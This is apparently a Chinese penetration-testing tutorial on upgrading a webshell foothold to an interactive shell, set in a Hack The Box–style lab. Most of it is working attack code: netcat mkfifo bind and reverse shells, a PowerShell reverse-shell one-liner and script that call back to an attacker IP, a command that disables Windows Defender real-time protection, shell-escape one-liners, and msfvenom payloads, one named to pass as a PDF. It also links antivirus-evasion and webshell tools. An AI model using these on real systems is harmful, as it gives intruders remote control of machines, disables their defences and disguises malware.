渗透测试--获取shell

        渗透测试中,我们经常会碰见使用webshell成功的情况,但webshell通常具有不好的体验,所以我们有必要采取手段,将shell变为交互式shell。本文将主要讨论该方法。我们主要有以下方法:

1.使用远程协议完成交互式shell

2.使用系统原生层应用完成交互shell

3.使用命令行应用完成交互shell

4.使用编程软件完成交互shell

5.使用木马应用程序完成交互shell

6.使用开源webshell工具完成交互式shell

        在系统上建立 shell 会话前,考虑以下几点将大有裨益,因为可以帮助我们理解当下选择的收益:

  • 系统运行的是哪个系统发行版?

  • 系统上存在哪些 shell 和编程语言?

  • 系统为其所处的网络环境提供什么功能?

  • 系统托管什么应用程序?

  • 是否存在已知漏洞?

远程协议完成交互式shell

SSH

        linux和windows若开启此协议并知道账密则可以完成交互shell

RDP

        windows若开启此协议并知道账密则可以完成交互shell

shell工具集合

Terminal EmulatorOperating System
Windows TerminalWindows
cmderWindows
PuTTYWindows
kittyWindows, Linux and MacOS
AlacrittyWindows, Linux and MacOS
xtermLinux
GNOME TerminalLinux
MATE TerminalLinux
KonsoleLinux
TerminalMacOS
iTerm2MacOS

系统原生程序完成交互式shell

Windows

LOLBAS

Linux

GTFOBins

命令行应用程序完成交互shell

 nc开启监听端口并绑定shell

#不解析DNS版本
nc -lvpn 10.129.41.200 7777 
#解析DNS版本
nc -lvp 10.129.41.200 7777 
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

这段 Bash 命令结合了 mkfifo 命令、catnc(Netcat)以及命名管道,以创建一个反向 shell 或一个简单的监听器通信机制。下面是其工作原理的详细解释:

  1. rm -f /tmp/f; mkfifo /tmp/f;

    • rm -f /tmp/f:首先删除文件 /tmp/f,如果存在的话。-f 选项强制删除而不会提示,即使文件不存在。
    • mkfifo /tmp/f:创建一个名为 /tmp/f 的命名管道(FIFO)。这是一种特殊的文件,可以用来在进程之间传递数据。
  2. cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

    • cat /tmp/f:读取 /tmp/f 中的内容并输出。
    • | /bin/bash -i:通过管道将 cat /tmp/f 的输出作为输入传递给一个交互式 bash shell。-i 选项表示 bash 以交互模式运行。
    • 2>&1:将标准错误 (stderr) 重定向到标准输出 (stdout),确保所有输出信息都被传递到管道中。
    • | nc -l 10.129.41.200 7777:将 bash 的输出通过管道传递给 nc (Netcat)。nc 在这里用作一个网络监听器,它在 IP 地址 10.129.41.200 上监听端口 7777 的连接。这个连接会接收并处理从 bash 传出的数据。
    • > /tmp/f:将从 nc 接收到的数据写入 /tmp/f,从而完成了一个循环,使输入和输出之间通过命名管道互相通信。

nc开启连接端口并绑定shell

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f

 nc连接端口

nc -nv 10.129.54.195 777

nc开启监听端口

sudo nc -lvnp 443

Windows powershell反连nc

        该方法需要开启管理员权限。并且关闭实时保护模式

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

 Windows 关闭实时保护

所遇情况

At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

关闭AV

PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true

 Powershe反连ps1脚本

    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}

Powershe反连ps1脚本使用手册

编程软件完成交互shell

        因为很多时候我们攻击的服务器,很可能携带这些Web开发语言,我们可以利用它,这种利用甚至更加隐蔽。

python搭建交互式shell

python -c 'import pty; pty.spawn("/bin/sh")' 

sh搭建交互式shell

/bin/sh -i

perl搭建交互式shell 

perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";

 ruby搭建交互式shell

ruby: exec "/bin/sh"

Lua搭建交互式shell 

lua: os.execute('/bin/sh')

Linux 交互式shell

 AWK搭建交互式shell

awk 'BEGIN {system("/bin/sh")}'
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

 find exec 开启交互式shell

find . -exec /bin/sh \; -quit

 Vim搭建交互式shell

vim -c ':!/bin/sh'

 Vim逃脱

vim
:set shell=/bin/sh
:shell

使用木马开启交互式shell

        嗨呀,这一块还有免杀的内容,之后慢慢聊。

MSF框架生成Linux shell

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

MSF框架生成Windows shell 

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe

 Payload生成工具集合

        这部分免杀存在非常多的学问,之后将出专题查看。

GitHub - rapid7/metasploit-framework: Metasploit Framework 

GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.

GitHub - its-a-feature/Mythic: A collaborative, multi-platform, red teaming framework

GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF

 GitHub - bats3c/darkarmour: Windows AV Evasion

 Windows漏洞Top

Windows Payload类型 

使用Webshell完成交互式shell

 msf搜索poc

在我们获取应用指纹的时候,我们可以通过msf来搜索应用

msf6 > search rconfig

如果没有发现,我们可以在github中msf脚本库去寻找 

 laudanum -- Webshell库

        这是一个webshell集合,里面有大佬编写好的各种类型的webshell。
Web-Shells/laudanum at master · jbarcia/Web-Shells · GitHub

/home/kali/Desktop/Web-Shells/laudanum/

antak --Powershell的Webshell

        非常强力的一个webshell,他的操作界面可以类比于Powershell。

/home/kali/Desktop/nishang/Antak-WebShell/

蚁剑

菜刀

冰蝎

哥斯拉 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值